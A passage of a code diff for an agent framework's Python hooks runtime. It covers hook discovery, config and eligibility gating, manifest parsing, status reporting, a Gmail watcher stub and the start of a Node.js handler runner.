user_id=msg.user_id,
user_text=str(msg.text or ""),
assistant_text=str(manager_post_reply_memory_write_text or ""),
turn_uuid="",
)
_trace_local(
event_type="after_turn_memory",
payload={
"source": "manager_post_reply",
"post_reply_memory_write_chars": int(len(manager_post_reply_memory_write_text or "")),
},
started_at=t0,
)
except Exception:
pass
_trace_local(
event_type="response_sent",
payload={"ok": bool(str(reply or "").strip()), "elapsed_ms": elapsed_ms, "mode": "sync_direct"},
started_at=t0,
)
_flush_trace_rows()
return OclawGatewayResult(
run_id=rid,
reply_text=str(reply or ""),

View file

@ -1,30 +1,101 @@
## `oclaw/hooks`
## `oclaw/runtime/hooks`
Unified Python hooks runtime and hook packages.
Python hooks runtime and bundled hook packages (parity target: OpenClaw `src/hooks`).
### What you get
- **In-process hook bus**: register on `type` or `type:action`, sync/async handlers, isolated failures.
- **Directory discovery**: finds hooks by `HOOK.md + handler.py` (or `index.py`).
- **Config gating**: supports `hooks.internal.enabled` and `hooks.internal.entries.<hookKey>.enabled`.
- **Source precedence**: bundled / managed / workspace collision resolution.
- **Directory discovery**: `HOOK.md` + **one** handler file per hook directory (first match in priority order, see `workspace._handler_candidates`).
- **Config gating**: `hooks.internal.enabled` and `hooks.internal.entries.<hookKey>.enabled`.
- **Source precedence**: bundled / managed / workspace / plugin collision resolution (`policy`).
- **Eligibility**: OS / bins / env / config paths; optional **remote** context from message metadata (`eligibility_from_metadata` + `config.should_include_hook`).
### Handler entry priority
First existing file under the hook directory wins:
`handler.py` → `index.py` → `handler.ts` → `index.ts` → `handler.mts` → `index.mts` → `handler.cts` → `index.cts` → `handler.mjs` → `index.mjs` → `handler.cjs` → `index.cjs` → `handler.sh` → `index.sh` → `handler.bash` → `index.bash`
### Hook layout
Put hooks in any of:
- **Bundled**: `oclaw/hooks/bundled/<hookName>/`
- **Bundled**: shipped with runtime (`runtime_hooks_bundled_root()`)
- **Managed**: `~/.oclaw/hooks/<hookName>/`
- **Workspace**: `<workspace>/hooks/<hookName>/` (explicit opt-in by default)
- **Workspace**: `<workspace>/hooks/<hookName>/`
- **Plugin**: `.openclaw/extensions/<id>/.codex-plugin/plugin.json` → `hooks` paths
- **Extra dirs**: `hooks.internal.load.extraDirs` plus skill-side `.../hooks` dirs merged at runtime init
Each hook directory must contain:
Each hook directory needs `HOOK.md` (YAML frontmatter with `metadata.oclaw.events`) plus one handler file as above.
- `HOOK.md` with YAML frontmatter including `metadata.oclaw.events`
- `handler.py` (or `index.py`) exporting a callable `handle(event)`
### Remote eligibility on inbound messages
Callers (e.g. gateway) may attach JSON metadata:
```json
{
"hookEligibility": {
"remote": {
"platforms": ["linux"],
"binsPresent": ["git", "node"],
"note": "remote agent capabilities"
}
}
}
```
Parsed by `hook_eligibility_from_message_metadata` and passed into `initialize_hooks_runtime(..., eligibility=...)`. **Note:** hook runtime initializes once per process; the first successful init wins (see `hooks_runtime.initialize_hooks_runtime`).
### TS parity matrix (OpenClaw `src/hooks`)
Legend: **Done** / **Partial** / **TODO**
| Area | Status |
|------|--------|
| internal-hooks bus (`register` / `trigger` / `type` + `type:action`) | Done |
| loader (`.py` import + TS/JS/shell runners, `hookMode` / `nodeScript`) | Done |
| path boundary (`handlerPath` under `baseDir`) | Done |
| frontmatter + `metadata.oclaw` | Done |
| invocation + config enable gate | Done |
| policy / source precedence | Done |
| runtime eligibility (`os` / `requires` / env / config) | Done |
| remote eligibility (`platforms` / `hasBin` / `hasAnyBin`) — filter API + gateway metadata wiring | Done |
| package.json `openclaw.hooks` / `oclaw.hooks` | Done |
| plugin hook dirs (`.codex-plugin` + `hooks`) | Done |
| legacy `hooks.internal.handlers` | Done |
| `hooks list/check/info` CLI (`python -m oclaw.runtime.operations hooks …`) | Done |
| `hooks enable` / `hooks disable` (config file patch) | Done |
| install / update hook packs (npm/git; TS `install.ts` / `update.ts`) | Partial (`hooks install` / `hooks update` print deprecation + manual/OpenClaw guidance; no npm/git runner) |
| gmail watcher family | Partial (config gates + ``initialize_hooks_runtime`` → ``start_gmail_watcher_with_logs``; ``gog``/API loop not ported). Set ``OCLAW_SKIP_GMAIL_WATCHER=1`` (or ``OPENCLAW_SKIP_GMAIL_WATCHER``) to no-op. |
| fire-and-forget / message-hook mappers | TODO |
### Minimal self-test
From the repository root (see `tests/conftest.py` for `sys.path` layout):
```bash
python "oclaw/hooks/_selftest.py"
python runtime/hooks/_selftest.py
```
or run hook discovery / parity tests:
```bash
pytest tests/test_oclaw_hooks_bundled_parity.py tests/test_oclaw_hooks_runtime.py -q
```
### Operations CLI (from parent of this repo on `sys.path`, see `tests/conftest.py`)
```bash
python -m oclaw.runtime.operations hooks list
python -m oclaw.runtime.operations hooks list --eligible --verbose
python -m oclaw.runtime.operations hooks check --json
python -m oclaw.runtime.operations hooks info session-memory --workspace /path/to/workspace
python -m oclaw.runtime.operations hooks enable session-memory --workspace /path/to/workspace
python -m oclaw.runtime.operations hooks disable command-logger --workspace /path/to/workspace
python -m oclaw.runtime.operations hooks install ./path-or-npm-spec # deprecated, exit 2 + hints
python -m oclaw.runtime.operations hooks update --dry-run # deprecated, exit 2 + hints
```
Uses the same merged config as the agent runtime (including skill `hooks/` extra dirs via `merge_skill_hook_extra_dirs_into_config`).
**Enable** matches OpenClaw semantics: the hook must satisfy **requirements** (bins/os/env/config) if its config entry were turned on; **plugin** hooks cannot be toggled from this CLI. Writes go to **`OCLAW_CONFIG_PATH`** (optional, relative paths resolved under `PROJECT_ROOT`) or **`oclaw/oclaw.json`** by default.

View file

@ -1,3 +1,13 @@
"""
Public hooks API surface.
Design contract:
- Typed-first internals: loaders/policy/config operate on `HookEntry`.
- Compatibility wrappers: `_compat` helpers accept legacy dict entries.
- External callers should migrate to typed APIs over time; wrappers remain for
incremental rollout and backward compatibility.
"""
from .internal_hooks import (
HookEvent,
HookHandler,
@ -11,6 +21,10 @@ from .internal_hooks import (
)
from .loader import load_internal_hooks
from .config import should_include_hook, should_include_hook_compat
from .policy import resolve_hook_entries_compat
from .hooks_status import build_workspace_hook_status
from .eligibility_from_metadata import hook_eligibility_from_message_metadata
__all__ = [
"HookEvent",
@ -23,5 +37,10 @@ __all__ = [
"trigger_hook",
"create_hook_event",
"load_internal_hooks",
"should_include_hook",
"should_include_hook_compat",
"resolve_hook_entries_compat",
"build_workspace_hook_status",
"hook_eligibility_from_message_metadata",
]

View file

@ -29,9 +29,7 @@ def _candidate_roots(event: Any) -> list[Path]:
repo = Path(__file__).resolve().parents[4]
roots.extend(
[
repo / "oclaw" / "runtime" / "assets" / "agent_workspaces" / "workspace-main",
repo / "oclaw" / "workspace-main",
repo / "oclaw" / "workspace",
repo / "oclaw" / "runtime" / "workspaces" / "main",
repo,
]
)

View file

@ -283,6 +283,22 @@ def handle(event: Any) -> None:
"skip_reason": "memory_mode_store_only",
}
return
manager_gate = ctx.get("need_wiki_inject")
if isinstance(manager_gate, bool) and not manager_gate:
ctx["wiki_inject_meta"] = {
"enabled": False,
"memory_mode": memory_mode,
"skip_reason": "manager_gate_off",
}
return
manager_query = str(ctx.get("wiki_query") or "").strip()
if isinstance(manager_gate, bool) and manager_gate and not manager_query:
ctx["wiki_inject_meta"] = {
"enabled": False,
"memory_mode": memory_mode,
"skip_reason": "manager_wiki_query_missing",
}
return
cfg = _load_config()
entry = _resolve_wiki_entry(cfg)
if not _enabled(entry):
@ -295,7 +311,7 @@ def handle(event: Any) -> None:
wiki_root, max_chars, top_k, ultra_saver_enabled, min_query_chars, require_topic_hint = _resolve_runtime(entry)
topic_rules = _resolve_topic_rules(entry)
query = str(ctx.get("userText") or "").strip()
if ultra_saver_enabled and len(query) < min_query_chars:
if ultra_saver_enabled and not isinstance(manager_gate, bool) and len(query) < min_query_chars:
ctx["wiki_inject_meta"] = {
"enabled": False,
"memory_mode": memory_mode,
@ -305,7 +321,7 @@ def handle(event: Any) -> None:
"query_len": int(len(query)),
}
return
if ultra_saver_enabled and require_topic_hint and not _query_topic_hints(query, topic_rules):
if ultra_saver_enabled and not isinstance(manager_gate, bool) and require_topic_hint and not _query_topic_hints(query, topic_rules):
ctx["wiki_inject_meta"] = {
"enabled": False,
"memory_mode": memory_mode,

173
runtime/hooks/config.py Normal file
View file

@ -0,0 +1,173 @@
from __future__ import annotations
import os
import platform
import shutil
from typing import Any, Dict, Optional
from .hook_manifest_core import HookMetadataSpec, HookRequiresSpec
from .hook_types import HookEligibilityContext, HookEntry, ensure_hook_entry
from .policy import resolve_hook_config, resolve_hook_enable_state
_DEFAULT_CONFIG_VALUES: Dict[str, bool] = {
"browser.enabled": True,
"browser.evaluateEnabled": True,
"workspace.dir": True,
}
def _resolve_config_path(config: Optional[Dict[str, Any]], path_str: str) -> Any:
if not isinstance(config, dict):
return None
cur: Any = config
for segment in str(path_str or "").split("."):
key = segment.strip()
if not key:
continue
if not isinstance(cur, dict):
return None
cur = cur.get(key)
return cur
def _is_config_path_truthy(config: Optional[Dict[str, Any]], path_str: str) -> bool:
key = str(path_str or "").strip()
if not key:
return False
value = _resolve_config_path(config, key)
if value is None and key in _DEFAULT_CONFIG_VALUES:
return _DEFAULT_CONFIG_VALUES[key]
return bool(value)
def _has_binary(bin_name: str) -> bool:
return bool(shutil.which(str(bin_name or "").strip()))
def _resolve_runtime_platform() -> str:
return str(platform.system() or "").strip().lower()
def _normalize_os_name(os_name: str) -> str:
v = str(os_name or "").strip().lower()
if v in {"mac", "macos", "darwin"}:
return "darwin"
if v in {"win", "windows"}:
return "windows"
if v in {"linux"}:
return "linux"
return v
def _hook_os_gate_satisfied(*, hook_os: tuple[str, ...], remote_platforms: list[str]) -> bool:
"""
Match OpenClaw ``evaluateRuntimeEligibility`` OS rule:
If the hook declares ``os``, pass when the **local** runtime matches *or* when any
advertised **remote** platform matches one of the hook's supported OS names.
"""
os_list = [str(x).strip() for x in hook_os if str(x or "").strip()]
if not os_list:
return True
cur = _normalize_os_name(_resolve_runtime_platform())
hook_names = {_normalize_os_name(x) for x in os_list}
if cur in hook_names:
return True
rem = [_normalize_os_name(x) for x in remote_platforms if str(x or "").strip()]
return any(r in hook_names for r in rem)
def _parse_requires_obj(raw: Any) -> HookRequiresSpec:
row = raw if isinstance(raw, dict) else {}
bins = tuple(str(x).strip() for x in list(row.get("bins") or []) if str(x).strip())
any_bins = tuple(str(x).strip() for x in list(row.get("anyBins") or []) if str(x).strip())
env = tuple(str(x).strip() for x in list(row.get("env") or []) if str(x).strip())
config = tuple(str(x).strip() for x in list(row.get("config") or []) if str(x).strip())
return HookRequiresSpec(bins=bins, any_bins=any_bins, env=env, config=config)
def _parse_metadata_obj(raw: Any) -> HookMetadataSpec:
row = raw if isinstance(raw, dict) else {}
node_script: bool | None
if "nodeScript" in row:
node_script = bool(row.get("nodeScript"))
else:
node_script = None
hm = row.get("hookMode")
hook_mode = str(hm).strip() if isinstance(hm, str) and str(hm).strip() else None
return HookMetadataSpec(
events=tuple(str(x).strip() for x in list(row.get("events") or []) if str(x).strip()),
always=bool(row["always"]) if isinstance(row.get("always"), bool) else None,
emoji=str(row.get("emoji")).strip() if isinstance(row.get("emoji"), str) else None,
homepage=str(row.get("homepage")).strip() if isinstance(row.get("homepage"), str) else None,
hook_key=str(row.get("hookKey")).strip() if isinstance(row.get("hookKey"), str) else None,
export=str(row.get("export")).strip() if isinstance(row.get("export"), str) else None,
os=tuple(str(x).strip() for x in list(row.get("os") or []) if str(x).strip()),
requires=_parse_requires_obj(row.get("requires")),
install=(),
hook_mode=hook_mode,
node_script=node_script,
)
def should_include_hook(
*, entry: HookEntry, config: Optional[Dict[str, Any]], eligibility: Optional[HookEligibilityContext] = None
) -> bool:
metadata = _parse_metadata_obj(entry.metadata)
hook_name = str(entry.hook.name or "").strip()
hook_key = str(metadata.hook_key or hook_name).strip() or hook_name
hook_cfg = resolve_hook_config(config, hook_key)
if not resolve_hook_enable_state(entry, config).get("enabled"):
return False
remote = (eligibility or {}).get("remote") if isinstance(eligibility, dict) else None
remote_platforms: list[str] = []
if isinstance(remote, dict):
rp = remote.get("platforms")
if isinstance(rp, list):
remote_platforms = [str(x).strip() for x in rp if str(x or "").strip()]
if not _hook_os_gate_satisfied(hook_os=metadata.os, remote_platforms=remote_platforms):
return False
req = metadata.requires or HookRequiresSpec()
bins = list(req.bins)
for b in bins:
if remote and callable(remote.get("hasBin")):
if not bool(remote["hasBin"](b)):
return False
continue
if not _has_binary(b):
return False
any_bins = list(req.any_bins)
if any_bins:
if remote and callable(remote.get("hasAnyBin")):
if not bool(remote["hasAnyBin"](any_bins)):
return False
elif not any(_has_binary(b) for b in any_bins):
return False
env_req = list(req.env)
hook_env = hook_cfg.get("env") if isinstance(hook_cfg, dict) and isinstance(hook_cfg.get("env"), dict) else {}
for env_name in env_req:
if os.getenv(env_name) or hook_env.get(env_name):
continue
return False
config_req = list(req.config)
for cfg_path in config_req:
if not _is_config_path_truthy(config, cfg_path):
return False
return True
def should_include_hook_compat(
*,
entry: HookEntry | Dict[str, Any],
config: Optional[Dict[str, Any]],
eligibility: Optional[HookEligibilityContext] = None,
) -> bool:
return should_include_hook(entry=ensure_hook_entry(entry), config=config, eligibility=eligibility)

View file

@ -0,0 +1,72 @@
from __future__ import annotations
from typing import Any
from .hook_types import HookEligibilityContext, HookRemoteEligibility
def hook_eligibility_from_message_metadata(metadata: dict[str, Any] | None) -> HookEligibilityContext | None:
"""
Build ``HookEligibilityContext`` from inbound message metadata (e.g. gateway / API).
Expected shape (JSON-friendly):
.. code-block:: json
{
"hookEligibility": {
"remote": {
"platforms": ["darwin", "linux", "windows"],
"binsPresent": ["git", "node"],
"note": "from remote agent / bridge"
}
}
}
- ``platforms``: when non-empty, overrides hook ``metadata.oclaw.os`` for eligibility (same as TS).
- ``binsPresent``: when non-empty, supplies ``hasBin`` / ``hasAnyBin`` predicates so bin checks
can reflect a **remote** execution environment instead of ``shutil.which`` on this machine.
"""
if not isinstance(metadata, dict):
return None
block = metadata.get("hookEligibility")
if not isinstance(block, dict):
return None
rem = block.get("remote")
if not isinstance(rem, dict):
return None
platforms_raw = rem.get("platforms")
platforms: list[str] = []
if isinstance(platforms_raw, list):
platforms = [str(x).strip().lower() for x in platforms_raw if str(x or "").strip()]
bins_raw = rem.get("binsPresent")
bins_present: set[str] = set()
if isinstance(bins_raw, list):
bins_present = {str(x).strip() for x in bins_raw if str(x or "").strip()}
note_raw = rem.get("note")
note = str(note_raw).strip() if isinstance(note_raw, str) else ""
if not platforms and not bins_present and not note:
return None
r: HookRemoteEligibility = {}
if platforms:
r["platforms"] = platforms
if note:
r["note"] = note
if bins_present:
def has_bin(name: str) -> bool:
return str(name or "").strip() in bins_present
def has_any_bin(names: list[Any]) -> bool:
return any(has_bin(str(x or "")) for x in (names or []))
r["hasBin"] = has_bin
r["hasAnyBin"] = has_any_bin
return {"remote": r}

View file

@ -1,9 +1,10 @@
from __future__ import annotations
from dataclasses import dataclass
from typing import Any, Dict, Optional, Tuple
from typing import Any, Dict, Optional
import yaml
from .hook_manifest_core import parse_hook_manifest
@dataclass(frozen=True, slots=True)
@ -53,15 +54,14 @@ def parse_frontmatter(markdown: str) -> ParsedHookFrontmatter:
def resolve_oclaw_metadata(frontmatter: Dict[str, Any]) -> Optional[Dict[str, Any]]:
"""
Oclaw embeds metadata as a JSON-like object under key 'metadata' -> 'oclaw'
(or sometimes as already-parsed dict). We normalize to a dict if present.
"""
meta = frontmatter.get("metadata")
if not isinstance(meta, dict):
return None
oc = meta.get("oclaw")
return oc if isinstance(oc, dict) else None
parsed = parse_hook_manifest(frontmatter=frontmatter, default_name="hook")
out = parsed.metadata.as_dict()
return out if out else None
def resolve_hook_invocation_policy(frontmatter: Dict[str, Any]) -> Dict[str, bool]:
parsed = parse_hook_manifest(frontmatter=frontmatter, default_name="hook")
return {"enabled": bool(parsed.invocation_enabled)}
def resolve_hook_key(name: str, entry: Dict[str, Any]) -> str:

View file

@ -0,0 +1,44 @@
from __future__ import annotations
import shutil
from dataclasses import dataclass
from typing import Any
@dataclass(frozen=True)
class GmailWatcherResult:
started: bool
reason: str = ""
def start_gmail_watcher(cfg: dict[str, Any] | None) -> GmailWatcherResult:
"""
Gmail watcher gate (OpenClaw ``startGmailWatcher`` parity, subset).
Full ``gog`` + Gmail API + renew loop is not ported in Python yet; this
function encodes the same **configuration preconditions** so lifecycle
logging matches expectations.
"""
if not isinstance(cfg, dict):
return GmailWatcherResult(started=False, reason="no gmail account configured")
hooks = cfg.get("hooks")
if not isinstance(hooks, dict):
return GmailWatcherResult(started=False, reason="hooks not enabled")
# OpenClaw top-level ``hooks.enabled`` (when absent, treat as enabled).
if hooks.get("enabled") is False:
return GmailWatcherResult(started=False, reason="hooks not enabled")
internal = hooks.get("internal") if isinstance(hooks.get("internal"), dict) else {}
if internal.get("enabled") is False:
return GmailWatcherResult(started=False, reason="hooks not enabled")
gmail = hooks.get("gmail")
if not isinstance(gmail, dict) or not str(gmail.get("account") or "").strip():
return GmailWatcherResult(started=False, reason="no gmail account configured")
if not shutil.which("gog"):
return GmailWatcherResult(started=False, reason="gog binary not found")
return GmailWatcherResult(started=False, reason="gmail watcher runtime not implemented (Python)")

View file

@ -0,0 +1,53 @@
from __future__ import annotations
import os
from typing import Any, Callable, Protocol
from .gmail_watcher import GmailWatcherResult, start_gmail_watcher
class GmailWatcherLog(Protocol):
def info(self, msg: str) -> None: ...
def warn(self, msg: str) -> None: ...
def error(self, msg: str) -> None: ...
def _is_truthy_env(value: str | None) -> bool:
return str(value or "").strip().lower() in {"1", "true", "yes", "on"}
def _skip_gmail_watcher_env() -> bool:
for key in ("OCLAW_SKIP_GMAIL_WATCHER", "OPENCLAW_SKIP_GMAIL_WATCHER"):
if _is_truthy_env(os.getenv(key)):
return True
return False
def start_gmail_watcher_with_logs(
*,
cfg: dict[str, Any] | None,
log: GmailWatcherLog,
on_skipped: Callable[[], None] | None = None,
starter: Callable[[dict[str, Any] | None], GmailWatcherResult] = start_gmail_watcher,
) -> None:
"""Skip entirely when ``OCLAW_SKIP_GMAIL_WATCHER`` or ``OPENCLAW_SKIP_GMAIL_WATCHER`` is truthy."""
if _skip_gmail_watcher_env():
if on_skipped:
on_skipped()
return
try:
res = starter(cfg)
if bool(res.started):
log.info("gmail watcher started")
return
reason = str(res.reason or "").strip()
if reason and reason not in {
"hooks not enabled",
"no gmail account configured",
"gmail watcher runtime not implemented (Python)",
}:
log.warn(f"gmail watcher not started: {reason}")
except Exception as exc:
log.error(f"gmail watcher failed to start: {exc}")

View file

@ -0,0 +1,195 @@
from __future__ import annotations
import json
from dataclasses import dataclass, field
from typing import Any
@dataclass(frozen=True)
class HookInstallSpec:
kind: str
id: str | None = None
label: str | None = None
package: str | None = None
repository: str | None = None
bins: tuple[str, ...] = ()
def as_dict(self) -> dict[str, Any]:
out: dict[str, Any] = {"kind": self.kind}
if self.id:
out["id"] = self.id
if self.label:
out["label"] = self.label
if self.package:
out["package"] = self.package
if self.repository:
out["repository"] = self.repository
if self.bins:
out["bins"] = list(self.bins)
return out
@dataclass(frozen=True)
class HookRequiresSpec:
bins: tuple[str, ...] = ()
any_bins: tuple[str, ...] = ()
env: tuple[str, ...] = ()
config: tuple[str, ...] = ()
def as_dict(self) -> dict[str, Any]:
out: dict[str, Any] = {}
if self.bins:
out["bins"] = list(self.bins)
if self.any_bins:
out["anyBins"] = list(self.any_bins)
if self.env:
out["env"] = list(self.env)
if self.config:
out["config"] = list(self.config)
return out
@dataclass(frozen=True)
class HookMetadataSpec:
events: tuple[str, ...] = ()
always: bool | None = None
emoji: str | None = None
homepage: str | None = None
hook_key: str | None = None
export: str | None = None
os: tuple[str, ...] = ()
requires: HookRequiresSpec | None = None
install: tuple[HookInstallSpec, ...] = ()
hook_mode: str | None = None
node_script: bool | None = None
def as_dict(self) -> dict[str, Any]:
out: dict[str, Any] = {"events": list(self.events)}
if self.always is not None:
out["always"] = bool(self.always)
if self.emoji:
out["emoji"] = self.emoji
if self.homepage:
out["homepage"] = self.homepage
if self.hook_key:
out["hookKey"] = self.hook_key
if self.export:
out["export"] = self.export
if self.os:
out["os"] = list(self.os)
if self.requires:
req = self.requires.as_dict()
if req:
out["requires"] = req
if self.install:
out["install"] = [row.as_dict() for row in self.install]
if self.hook_mode is not None:
out["hookMode"] = str(self.hook_mode)
if self.node_script is not None:
out["nodeScript"] = bool(self.node_script)
return out
@dataclass(frozen=True)
class ParsedHookManifest:
name: str
description: str
invocation_enabled: bool
metadata: HookMetadataSpec = field(default_factory=HookMetadataSpec)
def _read_str(value: Any) -> str | None:
if isinstance(value, str):
s = value.strip()
return s if s else None
return None
def _normalize_str_list(value: Any) -> tuple[str, ...]:
if not isinstance(value, list):
return ()
out: list[str] = []
for row in value:
s = _read_str(row)
if s:
out.append(s)
return tuple(out)
def _parse_install_spec(row: Any) -> HookInstallSpec | None:
if not isinstance(row, dict):
return None
kind = (_read_str(row.get("kind")) or "").lower()
if kind not in {"bundled", "npm", "git"}:
return None
return HookInstallSpec(
kind=kind,
id=_read_str(row.get("id")),
label=_read_str(row.get("label")),
package=_read_str(row.get("package")),
repository=_read_str(row.get("repository")),
bins=_normalize_str_list(row.get("bins")),
)
def _resolve_raw_oclaw_metadata(frontmatter: dict[str, Any]) -> dict[str, Any]:
meta = frontmatter.get("metadata")
if isinstance(meta, str):
try:
parsed = json.loads(meta)
meta = parsed if isinstance(parsed, dict) else None
except Exception:
meta = None
if not isinstance(meta, dict):
return {}
oc = meta.get("oclaw")
return oc if isinstance(oc, dict) else {}
def parse_hook_manifest(*, frontmatter: dict[str, Any], default_name: str) -> ParsedHookManifest:
name = _read_str(frontmatter.get("name")) or default_name
description = _read_str(frontmatter.get("description")) or ""
enabled_raw = frontmatter.get("enabled")
invocation_enabled = bool(enabled_raw) if isinstance(enabled_raw, bool) else True
oc = _resolve_raw_oclaw_metadata(frontmatter)
requires_obj = oc.get("requires") if isinstance(oc.get("requires"), dict) else {}
requires = HookRequiresSpec(
bins=_normalize_str_list(requires_obj.get("bins")),
any_bins=_normalize_str_list(requires_obj.get("anyBins")),
env=_normalize_str_list(requires_obj.get("env")),
config=_normalize_str_list(requires_obj.get("config")),
)
install_rows: list[HookInstallSpec] = []
if isinstance(oc.get("install"), list):
for row in oc["install"]:
parsed = _parse_install_spec(row)
if parsed:
install_rows.append(parsed)
node_script: bool | None
if "nodeScript" in oc:
node_script = bool(oc.get("nodeScript"))
else:
node_script = None
metadata = HookMetadataSpec(
events=_normalize_str_list(oc.get("events")),
always=bool(oc["always"]) if isinstance(oc.get("always"), bool) else None,
emoji=_read_str(oc.get("emoji")),
homepage=_read_str(oc.get("homepage")),
hook_key=_read_str(oc.get("hookKey")),
export=_read_str(oc.get("export")),
os=_normalize_str_list(oc.get("os")),
requires=requires if requires.as_dict() else None,
install=tuple(install_rows),
hook_mode=_read_str(oc.get("hookMode")),
node_script=node_script,
)
return ParsedHookManifest(
name=name,
description=description,
invocation_enabled=invocation_enabled,
metadata=metadata,
)

104
runtime/hooks/hook_types.py Normal file
View file

@ -0,0 +1,104 @@
from __future__ import annotations
from dataclasses import dataclass
from typing import Any, Literal, TypedDict
HookSource = Literal["oclaw-bundled", "oclaw-plugin", "oclaw-managed", "oclaw-workspace"]
_HOOK_SOURCES: tuple[HookSource, ...] = (
"oclaw-bundled",
"oclaw-plugin",
"oclaw-managed",
"oclaw-workspace",
)
class HookEntryDict(TypedDict, total=False):
hook: dict[str, Any]
frontmatter: dict[str, Any]
metadata: dict[str, Any]
invocation: dict[str, Any]
class HookRemoteEligibility(TypedDict, total=False):
platforms: list[str]
hasBin: Any
hasAnyBin: Any
note: str
class HookEligibilityContext(TypedDict, total=False):
remote: HookRemoteEligibility
@dataclass(frozen=True)
class HookRef:
name: str
description: str
source: HookSource
pluginId: str | None
filePath: str
baseDir: str
handlerPath: str
@dataclass(frozen=True)
class HookInvocation:
enabled: bool = True
@dataclass(frozen=True)
class HookEntry:
hook: HookRef
frontmatter: dict[str, Any]
metadata: dict[str, Any]
invocation: HookInvocation
def as_dict(self) -> dict[str, Any]:
return {
"hook": {
"name": self.hook.name,
"description": self.hook.description,
"source": self.hook.source,
"pluginId": self.hook.pluginId,
"filePath": self.hook.filePath,
"baseDir": self.hook.baseDir,
"handlerPath": self.hook.handlerPath,
},
"frontmatter": dict(self.frontmatter),
"metadata": dict(self.metadata),
"invocation": {"enabled": bool(self.invocation.enabled)},
}
def ensure_entry_dict(entry: HookEntry | HookEntryDict) -> dict[str, Any]:
return entry.as_dict() if isinstance(entry, HookEntry) else dict(entry)
def _normalize_source(value: Any) -> HookSource:
s = str(value or "").strip()
if s in _HOOK_SOURCES:
return s
return "oclaw-managed"
def ensure_hook_entry(entry: HookEntry | HookEntryDict) -> HookEntry:
if isinstance(entry, HookEntry):
return entry
row = dict(entry or {})
hook_raw = row.get("hook") if isinstance(row.get("hook"), dict) else {}
inv_raw = row.get("invocation") if isinstance(row.get("invocation"), dict) else {}
return HookEntry(
hook=HookRef(
name=str(hook_raw.get("name") or ""),
description=str(hook_raw.get("description") or ""),
source=_normalize_source(hook_raw.get("source")),
pluginId=(str(hook_raw.get("pluginId")) if hook_raw.get("pluginId") is not None else None),
filePath=str(hook_raw.get("filePath") or ""),
baseDir=str(hook_raw.get("baseDir") or ""),
handlerPath=str(hook_raw.get("handlerPath") or ""),
),
frontmatter=dict(row.get("frontmatter") or {}),
metadata=dict(row.get("metadata") or {}),
invocation=HookInvocation(enabled=bool(inv_raw.get("enabled")) if "enabled" in inv_raw else True),
)

View file

@ -0,0 +1,125 @@
from __future__ import annotations
import shutil
from typing import Any
from .config import should_include_hook
from .hook_types import HookEligibilityContext
from .policy import resolve_hook_enable_state
from .workspace import load_workspace_hook_entries
def _select_install_suggestion(
*, install_options: list[dict[str, Any]], missing_bins: list[str]
) -> dict[str, Any] | None:
if not install_options:
return None
if not missing_bins:
return dict(install_options[0])
missing = set(missing_bins)
best: tuple[int, int, dict[str, Any]] | None = None
for idx, row in enumerate(install_options):
bins = [str(x).strip() for x in list(row.get("bins") or []) if str(x).strip()]
overlap = len(missing.intersection(set(bins)))
# Sort by overlap desc, then idx asc (stable preference for first declared option).
score = (overlap, -idx)
if best is None or score > (best[0], best[1]):
best = (score[0], score[1], row)
return dict(best[2]) if best else dict(install_options[0])
def build_workspace_hook_status(
workspace_dir: str,
*,
config: dict[str, Any] | None = None,
managed_hooks_dir: str | None = None,
bundled_hooks_dir: str | None = None,
extra_dirs: list[str] | None = None,
eligibility: HookEligibilityContext | None = None,
) -> dict[str, Any]:
entries = load_workspace_hook_entries(
workspace_dir,
config=config,
managed_hooks_dir=managed_hooks_dir,
bundled_hooks_dir=bundled_hooks_dir,
extra_dirs=extra_dirs,
)
rows: list[dict[str, Any]] = []
summary = {
"discovered_total": 0,
"enabled_by_config_total": 0,
"eligible_total": 0,
"loadable_total": 0,
"missing_bins_total": 0,
"blocked_by_reason": {},
}
for entry in entries:
summary["discovered_total"] += 1
state = resolve_hook_enable_state(entry, config)
enabled = bool(state.get("enabled"))
if enabled:
summary["enabled_by_config_total"] += 1
eligible = should_include_hook(entry=entry, config=config, eligibility=eligibility)
if eligible:
summary["eligible_total"] += 1
loadable = enabled and eligible
if loadable:
summary["loadable_total"] += 1
reason = str(state.get("reason") or "")
if not loadable:
blocked = reason or ("missing requirements" if enabled else "disabled")
summary["blocked_by_reason"][blocked] = int(summary["blocked_by_reason"].get(blocked) or 0) + 1
md = entry.metadata or {}
req = md.get("requires") if isinstance(md.get("requires"), dict) else {}
required_bins = [str(x).strip() for x in list(req.get("bins") or []) if str(x).strip()]
missing_bins = [b for b in required_bins if not shutil.which(b)]
if missing_bins:
summary["missing_bins_total"] += len(missing_bins)
install_rows = md.get("install") if isinstance(md.get("install"), list) else []
install_options: list[dict[str, Any]] = []
for idx, row in enumerate(install_rows):
if not isinstance(row, dict):
continue
kind = str(row.get("kind") or "").strip()
if not kind:
continue
install_options.append(
{
"id": str(row.get("id") or f"{kind}-{idx}"),
"kind": kind,
"label": str(row.get("label") or ""),
"bins": [str(x).strip() for x in list(row.get("bins") or []) if str(x).strip()],
}
)
rows.append(
{
"name": entry.hook.name,
"source": entry.hook.source,
"plugin_id": entry.hook.pluginId,
"hook_key": str((entry.metadata or {}).get("hookKey") or entry.hook.name),
"events": list((entry.metadata or {}).get("events") or []),
"enabled_by_config": enabled,
"eligible": bool(eligible),
"loadable": bool(loadable),
"blocked_reason": "" if loadable else (reason or "missing requirements"),
"required_bins": required_bins,
"missing_bins": missing_bins,
"install_options": install_options,
"install_suggestion": _select_install_suggestion(
install_options=install_options,
missing_bins=missing_bins,
),
}
)
return {
"workspace_dir": workspace_dir,
"summary": summary,
"hooks": rows,
}

View file

@ -74,7 +74,10 @@ def create_hook_event(
session_key: str,
context: Optional[Dict[str, Any]] = None,
) -> HookEvent:
return HookEvent(type=event_type, action=action, sessionKey=session_key, context=context or {})
# Must not use `context or {}` — a caller-supplied empty dict is falsy and would be replaced.
return HookEvent(
type=event_type, action=action, sessionKey=session_key, context={} if context is None else context
)
async def trigger_hook(event: HookEvent) -> None:

View file

@ -0,0 +1,56 @@
/**
* node js_hook_runner.mjs <absolute-handler> [exportName]
* stdin: JSON { type, action, sessionKey, context, messages?, timestamp? }
* stdout: JSON { "context"?: object }
* Loads .mjs / .cjs (and ESM .js if passed) with dynamic import or createRequire.
*/
import { readFileSync } from "node:fs";
import { createRequire } from "node:module";
import path from "node:path";
import { pathToFileURL } from "node:url";
const handlerPath = process.argv[2];
const exportName = (process.argv[3] || "default").trim();
if (!handlerPath) {
console.error("oclaw: js_hook_runner: missing handler path");
process.exit(2);
}
const abs = path.resolve(handlerPath);
const raw = readFileSync(0, "utf-8");
